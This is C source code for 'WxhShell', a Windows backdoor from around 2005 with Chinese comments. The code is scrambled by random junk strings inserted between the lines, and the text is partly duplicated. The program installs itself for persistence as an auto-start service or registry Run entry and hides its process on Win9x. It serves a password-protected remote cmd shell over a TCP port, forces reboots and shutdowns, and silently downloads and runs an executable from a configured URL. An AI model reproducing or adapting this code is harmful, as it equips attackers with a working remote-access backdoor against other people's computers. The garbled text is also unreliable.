b Qd)q([ PROCNTQSIP NtQueryInformationProcess; uOKCAqYa zy?.u.4L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N%kt3vmQ_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \$R_YKGf1G {]*c29b> HANDLE hProcess; 1Vsz4P"O $ PROCESS_BASIC_INFORMATION pbi; :v0U|\j8/V 16w|O|^< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,k.3|aZE if(NULL == hInst ) return 0; B{/R: Hm Y5f1lUT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); svsq g{9z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @>u}eB>Kn NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,NOsFO-`< ~Io7] if (!NtQueryInformationProcess) return 0; j_/>A=OD *lYVY)L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -^K"ZP1 if(!hProcess) return 0; Amp#GR1CA ~Uu4= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e%@'5k\SK 0\H\lKcK CloseHandle(hProcess); ;m0~L=w :Hn6b$Vy8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :uP,f<=)K if(hProcess==NULL) return 0; kh!FR u h [O$Wa:< 0x HMODULE hMod; VdPtPq1 char procName[255]; ?OId\'q unsigned long cbNeeded; \?w2a$?6w !6n_}I-W if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *7:>EP Nc1"g1JR CloseHandle(hProcess); &@G:G( PZ2;v< if(strstr(procName,"services")) return 1; // 以服务启动 :C7_Jp*Qv LVX[uWEM return 0; // 注册表启动 eS{!)j_^ } k\wW##=v "76]u) // 主模块 <W|3\p6 int StartWxhshell(LPSTR lpCmdLine) H6kR)~zhf { 3e
#p@sB SOCKET wsl; +:8fC$vVfC BOOL val=TRUE; -mAUo;O int port=0; Q8C_9r/:N> struct sockaddr_in door; WM
Fb4SUR C`K?7v3$m if(wscfg.ws_autoins) Install(); nv GF2(;l ccNd'2P port=atoi(lpCmdLine); |)nZ^Cc p
s/Ayjk if(port<=0) port=wscfg.ws_port; 7OC#8, jDKO}
bQ WSADATA data; 5BWH-2HsB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >5_2_Y$" "/)#O~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R_(tjkT setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hwu]Er.gn door.sin_family = AF_INET; 2K<
8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); B,<da1(a door.sin_port = htons(port); %9w::hav C^3 <={ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uvMy^_}L closesocket(wsl); 0QFS return 1; zepm!JR1 } x%}^hiO<q ,">]`|? if(listen(wsl,2) == INVALID_SOCKET) { 8hXl%{6d3 closesocket(wsl); RzxNbeki[W return 1; ;P;-}u } =V-A@_^!c Wxhshell(wsl); mN~ci 0 WSACleanup(); 3)8QS
34z"Pm return 0; io _1Y]N XnDUa3 } K:!"+q ~kQA7;`j$ // 以NT服务方式启动 N2B|SO'' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &wie] { V}bjK8$$ DWORD status = 0; R?68*}
`7 DWORD specificError = 0xfffffff; | 1E|hh@k |s'Po^Sy serviceStatus.dwServiceType = SERVICE_WIN32; &atuK*W> serviceStatus.dwCurrentState = SERVICE_START_PENDING; _
<WJ7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2#P*, serviceStatus.dwWin32ExitCode = 0; cFaaLUZk serviceStatus.dwServiceSpecificExitCode = 0; Jzj1w}?H serviceStatus.dwCheckPoint = 0; M1 :uJkO. serviceStatus.dwWaitHint = 0; [.m`+ Yb+yw_5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \wo?47+= if (hServiceStatusHandle==0) return; V`X2>-Ex H#@^R( status = GetLastError(); <%($7VMev if (status!=NO_ERROR) p qfUW+> { os,* 3WO serviceStatus.dwCurrentState = SERVICE_STOPPED; }#.L7SIJ<J serviceStatus.dwCheckPoint = 0; }B8IBveu serviceStatus.dwWaitHint = 0; kB3H="3[[ serviceStatus.dwWin32ExitCode = status; m4aB*6<lq serviceStatus.dwServiceSpecificExitCode = specificError; ZZk=E4aae SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ad@*KFxy3 return; aAJU`=uq } OTy.VT| C3eR)Yh serviceStatus.dwCurrentState = SERVICE_RUNNING; Inn@2$m~ serviceStatus.dwCheckPoint = 0; txW{7[w+, serviceStatus.dwWaitHint = 0; m=?KZ?U` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (0j}-iaQEZ } s@9vY\5[9 }3o|EXx= // 处理NT服务事件,比如:启动、停止 W"zab VOID WINAPI NTServiceHandler(DWORD fdwControl) Id'X*U7Q { PfreAEv, switch(fdwControl) 5i>$]*o { !;0U,!WI case SERVICE_CONTROL_STOP: 9
TvV= serviceStatus.dwWin32ExitCode = 0; -}=i 04^ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,u!*2cWN serviceStatus.dwCheckPoint = 0; G;&-\0>W serviceStatus.dwWaitHint = 0; DBPRGQ { y<HO:kZ8` SetServiceStatus(hServiceStatusHandle, &serviceStatus); >_e]C}QUr } >*]Hq.&8 return; WP?TX b`5 case SERVICE_CONTROL_PAUSE: M4zm,>?K serviceStatus.dwCurrentState = SERVICE_PAUSED; Ey_" ~OB break; yOphx07 ( case SERVICE_CONTROL_CONTINUE: 74H)|Dkx serviceStatus.dwCurrentState = SERVICE_RUNNING; %70~M_ break; &S( .GdEf case SERVICE_CONTROL_INTERROGATE: VSrr`B
break; }2<r, }; 7l'6gg SetServiceStatus(hServiceStatusHandle, &serviceStatus); <0H"|:W>I] } ]DOX?qI
i 2Or'c`| // 标准应用程序主函数 whpfJNz int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TT'[qfAI { /a^1_q-bX fBalTk;G{U // 获取操作系统版本 T.@aep\" OsIsNt=GetOsVer(); 1nQWW9i GetModuleFileName(NULL,ExeFile,MAX_PATH); ?3*l{[@J XM1WfjE\ // 从命令行安装 Z3{>yYR+ if(strpbrk(lpCmdLine,"iI")) Install(); 7Bb9t LO
< // 下载执行文件 zhpx"{_ if(wscfg.ws_downexe) { *RXbc~
H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L!rw[x WinExec(wscfg.ws_filenam,SW_HIDE); vY%d } 9{-EJ) vWRju*Z& if(!OsIsNt) { K%"5ImM // 如果时win9x,隐藏进程并且设置为注册表启动 `wus\&!W HideProc(); 3D`YZ#M StartWxhshell(lpCmdLine); l%?T2Fm3> } 3|1ilP else w9NHk~LHKF if(StartFromService()) ux_Mrh' // 以服务方式启动 Yj)#k)x StartServiceCtrlDispatcher(DispatchTable); 6b+b/>G0 else 7]9
a< // 普通方式启动 ]<H&+ &! StartWxhshell(lpCmdLine); y$@ZN~8 "iU}]e0 return 0; >;L6xt3 } hvA^n@nr o>/YAX:.!T }RmU%IYc &$]vh =========================================== Pm
lx8@D sA'6ty Bm"KOr$}- p$h4u_ NbC@z9Q <(-3_s6- " Z2TL #@ BB~OqZIP #include <stdio.h> U}MXT<6 #include <string.h> Z7_m)@%;kk #include <windows.h> TYJ:! #include <winsock2.h> 3E>frR\!I #include <winsvc.h> Z$0uH* h #include <urlmon.h> mH Ic f{RG IG|X!l #pragma comment (lib, "Ws2_32.lib") H2um|6> #pragma comment (lib, "urlmon.lib") O)ME"@r@: JcbwDlUb #define MAX_USER 100 // 最大客户端连接数 }z\_;\7 #define BUF_SOCK 200 // sock buffer #$c Rkw #define KEY_BUFF 255 // 输入 buffer qQ"Fv|]~> 7PANtCFb& #define REBOOT 0 // 重启 4g
:>[q #define SHUTDOWN 1 // 关机 gF[z fDm $:
]o]a #define DEF_PORT 5000 // 监听端口 FI3)i>CnW &4b&X0pU #define REG_LEN 16 // 注册表键长度 /%&2HDA) #define SVC_LEN 80 // NT服务名长度 %n
hm $)RNKMZC}A // 从dll定义API yto,>Utzg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -C<zF`jO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B>GE9y5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =0G!f$7^i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _~*,m#uxJ =Qgt${| // wxhshell配置信息 h"_~7jq" struct WSCFG { AwslWkd= int ws_port; // 监听端口 h\nI!{A0 char ws_passstr[REG_LEN]; // 口令 NGOqy+Ty{f int ws_autoins; // 安装标记, 1=yes 0=no \hhmVt@@ char ws_regname[REG_LEN]; // 注册表键名 ]3g?hM6 char ws_svcname[REG_LEN]; // 服务名 b@S Cn9 char ws_svcdisp[SVC_LEN]; // 服务显示名 PB#fP_0C char ws_svcdesc[SVC_LEN]; // 服务描述信息 mml<9fbH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6(G?MW. int ws_downexe; // 下载执行标记, 1=yes 0=no -5T=:2M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :_t}QP" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J2j U4mR c05 %iv }; rk7QZVE IRn2| // default Wxhshell configuration m< 3Ao^I+ struct WSCFG wscfg={DEF_PORT, d1U\ft:gV "xuhuanlingzhe", -u?S=h} 1, !!Aj<*% "Wxhshell", |7X:TfJ "Wxhshell", #Sa27$&.> "WxhShell Service", OtGb<v<_H "Wrsky Windows CmdShell Service", ^NX"sM0g "Please Input Your Password: ", .!G94b 1, f-5:wM& "http://www.wrsky.com/wxhshell.exe", VY)9|JJCO "Wxhshell.exe" z}{afEb }; mExVYp h 5g9; +}X; // 消息定义模块 RLSc+kDH_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BRk0CLr5 char *msg_ws_prompt="\n\r? for help\n\r#>"; !OT-b>*w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :dLAs@z char *msg_ws_ext="\n\rExit."; cIp
D~0\ char *msg_ws_end="\n\rQuit."; /r-aPJX char *msg_ws_boot="\n\rReboot..."; * 1Od-3 char *msg_ws_poff="\n\rShutdown..."; 7DIIx}A char *msg_ws_down="\n\rSave to "; de>v gS:A'@& char *msg_ws_err="\n\rErr!"; Oi:<~E[kz. char *msg_ws_ok="\n\rOK!"; ?c7*_<W5 A?`jnRo=\ char ExeFile[MAX_PATH]; +QE^\a int nUser = 0; 1.gG^$J d HANDLE handles[MAX_USER]; +3&zN( int OsIsNt; G 2mX; glDh([ SERVICE_STATUS serviceStatus; wbe<'/X+ SERVICE_STATUS_HANDLE hServiceStatusHandle; 2 ho>eRX )=-0M9e.{ // 函数声明 kdn'6>\ int Install(void); A0Zt8>w int Uninstall(void); bzvh%RsW int DownloadFile(char *sURL, SOCKET wsh); Vo7dAHHL int Boot(int flag); %s&ChM?8F void HideProc(void); >-O/U5<! int GetOsVer(void); y|Ir._bt int Wxhshell(SOCKET wsl); 1c;6xc,ub void TalkWithClient(void *cs); #'q<v"w int CmdShell(SOCKET sock); lRveHB&V int StartFromService(void); g7&9" int StartWxhshell(LPSTR lpCmdLine); /__PSK HgBGV0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MdXchO-Lyc VOID WINAPI NTServiceHandler( DWORD fdwControl ); &m[Qn!>i6 WyZL9K{? // 数据结构和表定义 r)i>06Hd SERVICE_TABLE_ENTRY DispatchTable[] = "3<da* D1 { Zr-U&9.` {wscfg.ws_svcname, NTServiceMain}, Rcawc
Y {NULL, NULL} JXw^/Y$ }; ~j-cS
J3 !H2QjW // 自我安装 +Y
V|ij int Install(void) yB3; { l/Vo-# char svExeFile[MAX_PATH]; =i(?deR HKEY key; hRq3C1mR strcpy(svExeFile,ExeFile); 2CzaL,je[ AQc,>{Lm // 如果是win9x系统,修改注册表设为自启动 ?X5]i#j[ if(!OsIsNt) { ki{3IEOr} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z.CywME<)t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YG8>czC RegCloseKey(key); >y}M.Mm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %eJGte- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CT\;xt,S RegCloseKey(key); B}eA\O4}I return 0; UK{irU|\ } F
{B\kq8 } |Xw/E)jA } '}rRzD: else { 3mSXWl^? &EM\CjKv" // 如果是NT以上系统,安装为系统服务 (D
9Su^:1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @rHK(25+d if (schSCManager!=0) YhRWz=l { [y0O{,lI SC_HANDLE schService = CreateService HBY.DCN[Z ( 2 QNNp:`6 schSCManager, i@][rdhT wscfg.ws_svcname, o=RM-tR`v wscfg.ws_svcdisp, T2D<UhP SERVICE_ALL_ACCESS, w ~ dk#= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2>\v*adG SERVICE_AUTO_START, }/,HM9Ke SERVICE_ERROR_NORMAL, *-12VIG'H svExeFile, &*s0\
8 NULL, !bC+TYsU NULL, (oJ9k[( NULL, 5'Q|EIL NULL, .>(Q)"v NULL ]7Fs$y. ); NO]
3* if (schService!=0) siTX_`0 { St<mDTi CloseServiceHandle(schService); .@"q$\ CloseServiceHandle(schSCManager); g!i45-n3gt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <jS~ WI@ strcat(svExeFile,wscfg.ws_svcname); 5~.ZlGd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { unJ R=~E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U#n#7G6fRp RegCloseKey(key); fGv#s
X return 0; zFQ&5@43 } &wU'p-V } $o +5/c?| CloseServiceHandle(schSCManager); jY6MjZI } "/]| Hhc{ } g}f9dB,F {ls+dx/ return 1; dtPoo\@ } "Pl9 nE >3gi yeJ // 自我卸载 `funE:>, int Uninstall(void) `]v[5E { )>7%pz HKEY key; 5[{*{^F4 h C=:q if(!OsIsNt) { 9]'($:LF08 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WU4U Zpz RegDeleteValue(key,wscfg.ws_regname); \ j.x0/; RegCloseKey(key); S?{/hy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .d?%;2*{q RegDeleteValue(key,wscfg.ws_regname); Eh|. RegCloseKey(key); K\^ 0_F K return 0; l/y]nw } 0GDvwy D1 } m uW!xY } Ro=AADv@ else { T<-=nX ?4CNkk=v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cv)/7vyB8 if (schSCManager!=0) "7d-z<^n { z^nvMTC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NA$zd( if (schService!=0) j%V["?) { )c/Fasfg[P if(DeleteService(schService)!=0) { |KY EK| CloseServiceHandle(schService); "&Qctk`<P CloseServiceHandle(schSCManager); ?8,%LIQ? return 0; <As9>5|% } g`k?AM\ CloseServiceHandle(schService); a4gi,pz$] } pbHsR^ CloseServiceHandle(schSCManager); rs=q!
P"u[ } QHBtWQgS } GO! uwo: fWGOP~0 return 1; 3E^M?N2oc } o$.e^XL
x\s,= n3z // 从指定url下载文件 nsb4S{ int DownloadFile(char *sURL, SOCKET wsh) I1 U7.CT { 6
fz} HRESULT hr; k;dXOn char seps[]= "/"; z5Qs@dG char *token; XA_FOw!cX char *file; /q\_&@ char myURL[MAX_PATH]; ~n!!jM:N char myFILE[MAX_PATH]; rSP_:} ?RFg$Z'^ strcpy(myURL,sURL); K:y^OAZfV token=strtok(myURL,seps); 7?"y{R>E while(token!=NULL) s,*c@1f? { l]2r)!Q7 file=token; 4y}"Hy token=strtok(NULL,seps); (/" & } =wi*Nd7L *oI*-C GetCurrentDirectory(MAX_PATH,myFILE); bVr*h2p strcat(myFILE, "\\"); Z<b"`ty. strcat(myFILE, file); 4\
/*jA send(wsh,myFILE,strlen(myFILE),0); G&eP5'B4i send(wsh,"...",3,0); t@?u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SKY*.IW/Z if(hr==S_OK) 9=dkx^q return 0; |4Ck;gg!j else 9O,,m~B return 1; k /EDc533d %bb~Y" } ~:sE:9$z o[6y+ <'o // 系统电源模块 oCi
~P}r int Boot(int flag) CPazEe1S { S(eQ{rSs HANDLE hToken; P}3}ek1Ax TOKEN_PRIVILEGES tkp; GgFi9Ffj T&"i _no* if(OsIsNt) { ~H@+D}J? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &[|VZ[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mjnUs-`W| tkp.PrivilegeCount = 1; HO|-@yOF^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y\/gU8w/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |E/L.gdP7 if(flag==REBOOT) { }ZZ5].-a<D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (d2@Mz return 0; q$ghLGz } \Mx
JH[ else { @fn6<3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U Lmg$T& return 0; U!q[e`B } NSLVD[yT } iT)WR90 else { q(z7~:+qNr if(flag==REBOOT) { `QP
~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z&yaSB return 0; ,WTTJN } 2C+(":=} else { OjnJV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R 4EEelSZu return 0; t)1phg4H) } JSMPyj } h%#_~IA:| dXu {p return 1; CVKnTEs } l`n5~Fs a,Kky^B // win9x进程隐藏模块 q7]>i!A void HideProc(void) R e:T9K'e { /-*hjX$n 0~E 6QhV: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DR+,Y2!_GT if ( hKernel != NULL ) \%_ZV9cKF { r)l` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nTnRGf\T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '
lo.h"" FreeLibrary(hKernel); wgd<3 X } B1T5f1;uY I^0t2[M return; <DiOWi } .5hp0L} bcJ@-i0V // 获取操作系统版本 8cr NOZS6 int GetOsVer(void) saK;[&I* { (ppoW OSVERSIONINFO winfo; a>Re^GT+z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b&t[S[P.V GetVersionEx(&winfo); 2>y:N. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @5Qoi~o return 1; F,Fo}YQX else V2`;4d X*2 return 0; c;V D}UD' } P1d,8~; 5j[#'3TSU // 客户端句柄模块 Sb<\-O14" int Wxhshell(SOCKET wsl) _-a|VTM { %jKH?%Ih SOCKET wsh; u(vw|nj` struct sockaddr_in client; E[S' :Q DWORD myID; ?n*fy i!~>\r\6\ while(nUser<MAX_USER) lCFU1 GHH { _nX%#/{ int nSize=sizeof(client); .ewZV9P)t wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $pu3Ig$^ if(wsh==INVALID_SOCKET) return 1; 1mUTtYU i,OKfXp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x0x $ 9 if(handles[nUser]==0) kEAhTh&g* closesocket(wsh); zA{8C];~ else @\!!t{y nUser++; F.KrZ3%4iB } fPE ?hG<x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^CQ1I0 O)5#Fcp( return 0; #S?c ;3- } 'Oy5e@G+? |3@=CE7G // 关闭 socket i[=C_+2 void CloseIt(SOCKET wsh) .~<]HAwq { u5 E/m closesocket(wsh); XtW_ nUser--; 4I ,o&TK ExitThread(0); YC)hX'A\ } a!u3HS-i zz3 r<?#5 // 客户端请求句柄 [:pl-_.C void TalkWithClient(void *cs) DcU C, { n0FYfqH + U5U.f% SOCKET wsh=(SOCKET)cs; +u#Sl)F char pwd[SVC_LEN]; D=9}|b/ char cmd[KEY_BUFF]; `@\^m_!} char chr[1]; {,v:
GMsm int i,j; C9Wojo. @W)/\AZ3 while (nUser < MAX_USER) { OX)BP.h# !rHx}n{rw if(wscfg.ws_passstr) { TolrEcI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Z9l:}bO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z[biK|YL //ZeroMemory(pwd,KEY_BUFF); $B ?? Ip?P i=0; |8;?
*s`H while(i<SVC_LEN) { [D9 :A "i''Ui\H // 设置超时 2lJZw@ fd_set FdRead; {kG;."S+K struct timeval TimeOut; x~(y "^ph FD_ZERO(&FdRead); jNqVdP]d\ FD_SET(wsh,&FdRead); ^6&_|f TimeOut.tv_sec=8; UC#"=Xd4 TimeOut.tv_usec=0; <[5#c*A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u2,H ]- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G|V\^.f< (olLB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TPqvp|~2 pwd=chr[0]; aZxO/b^j if(chr[0]==0xd || chr[0]==0xa) { O'Am
RJ pwd=0;
w[{*9 break; p.aE } x!`KhTu`_A i++; QB9A-U<J } w%I8CU_}. cS
4T\{B; // 如果是非法用户,关闭 socket H\f/n`@,G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,N;v~D$Y } h;}ODK(. @|]G0&gn&? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l }+Cdy9> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5])8qb/F *sAOpf@M while(1) { ytob/tc 'M
lXnHxt ZeroMemory(cmd,KEY_BUFF); k?n]ZNlT 8iOO1I?+ // 自动支持客户端 telnet标准 VB's j=0; cyHhy_~R while(j<KEY_BUFF) { u:eW0Ows" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [^Q&suy cmd[j]=chr[0]; [DL|Ht> if(chr[0]==0xa || chr[0]==0xd) { tUrNp~ve, cmd[j]=0; ?0m?7{ break; 79a9L{gso } n8Q*
_?Z/ j++; p*!q}%U } >Ban?3{ l)%mqW% // 下载文件 T&!ZD2I if(strstr(cmd,"http://")) { LAos0bc)w\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); .c|9..Cq= if(DownloadFile(cmd,wsh)) OU6^+Ta send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2\,e else AO^]>/7ed send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dGa@<hg } k5g@myb- else { .h a`)@MsZ M-vC>u3Y switch(cmd[0]) { bbO+%-(X dUZ$wbV%h // 帮助 =}"R5 case '?': { "W3W:vl! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &6Ns7w6*z break; :K:f^o]s } jB` 7T^bU // 安装 a&8l[xe1 case 'i': { d~3GV(M if(Install()) XS3{R send(wsh,msg_ws_err,strlen(msg_ws_err),0); V15q01bE# else h^`{ .TlN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cu:-MpE break; 1"M"h_4 } y>%W;r) // 卸载 nQ!N}5[z' case 'r': { /^~p~HKtx if(Uninstall()) -S`TEX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}Ljo else \?r$&K]4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a4:`2 break; sK#H4y+< } hl*MUD, // 显示 wxhshell 所在路径 |^>u<E5 case 'p': { IC\E,m char svExeFile[MAX_PATH]; V;P1nL4L strcpy(svExeFile,"\n\r"); "Jf4N strcat(svExeFile,ExeFile); ?{?Vy9'B send(wsh,svExeFile,strlen(svExeFile),0); d8D yv#gT break; /(y4V } JXlTN[O // 重启 8
H,_vf case 'b': { %bEGv:88s send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;B*L1'FF%t if(Boot(REBOOT)) 8TUF w@H% send(wsh,msg_ws_err,strlen(msg_ws_err),0); N&x@_t"" else { 1V#0\1sj closesocket(wsh); z9I1RXV ExitThread(0); 7 FEzak' } A&D2T break; _F! :(@} } @wg&6uQ // 关机 GOUY_&}tL case 'd': { [SKP|`I>I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o]dK^[/* if(Boot(SHUTDOWN)) (MZ A send(wsh,msg_ws_err,strlen(msg_ws_err),0); n+v!H O"2u else { PY[Sz=[ closesocket(wsh); YCtIeq% ExitThread(0); J11dqj } ]}jgB2x7 break; s4^[3|Zrr0 } s$K@X ` // 获取shell Uyz;U34 oI case 's': { /+Wb6{lY CmdShell(wsh); r!"CH5dT closesocket(wsh); }w;Q^EU ExitThread(0); KteZK.+#: break; >^M!@=/?J } AaJ,=eQ // 退出 at_dmU2[7 case 'x': { gvow\9{|C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XHU<4l:kl CloseIt(wsh); R^n*
o break; 8#[%?}tK } ~nLkn#Z // 离开 T2c_vY case 'q': { J"m%q\' send(wsh,msg_ws_end,strlen(msg_ws_end),0); K8e4ax closesocket(wsh); ]L5Z=.z& WSACleanup(); AJJ%gxqGq exit(1); >FK)p
break; yt]Oj*nn0K } Fm-q=3 } sDz)_;;% } `kaR@t a!s.850@ // 提示信息 `?Y_0Nh> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d;@E~~o?B] } ^sr:N5~z` } C*Y
:w f(w#LuW< return; \i&vOH' } 8u7K$Q -oaG| // shell模块句柄 V1UUAvN7s int CmdShell(SOCKET sock) >"PqQO { +35)=Uov STARTUPINFO si; ?=pZmvQg ZeroMemory(&si,sizeof(si)); 1{;[q3a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C[Y%=\6'0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \4]zNV ~x PROCESS_INFORMATION ProcessInfo; &r5&6p char cmdline[]="cmd"; mmpr]cT@'k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hIE%-gZ/ return 0; \N-|
iq } qr<-eJf UH1S_:6 // 自身启动模式 &deZ int StartFromService(void) U{U:8== { 4EaSg# typedef struct .O@q5G { !#_h2a DWORD ExitStatus; o|p;6 DWORD PebBaseAddress; ,YAPCj DWORD AffinityMask; d~P<M3#> DWORD BasePriority; i_jax)m% ULONG UniqueProcessId; #NVF\ ULONG InheritedFromUniqueProcessId; GDNh?R } PROCESS_BASIC_INFORMATION; <MWXew7b ~|0F?~eR7 PROCNTQSIP NtQueryInformationProcess; T9U2j-lA? QTrlQH&p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3& fIO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :!Y?j{sGU !?us[f=g% HANDLE hProcess; oZ\qT0*eb PROCESS_BASIC_INFORMATION pbi; &?5{z\;1" }
Khq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K@$L~G if(NULL == hInst ) return 0; CLFxq@%nu~ jmk*z(}#: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8R??J>h5\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); avbr7X( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S$kuhK>W! _L `N^I. if (!NtQueryInformationProcess) return 0; [Q.4]K2 a|6x!p2X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "JQt#[9l if(!hProcess) return 0; r%m7YwXo kS\. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4,*^QK Ql6ai
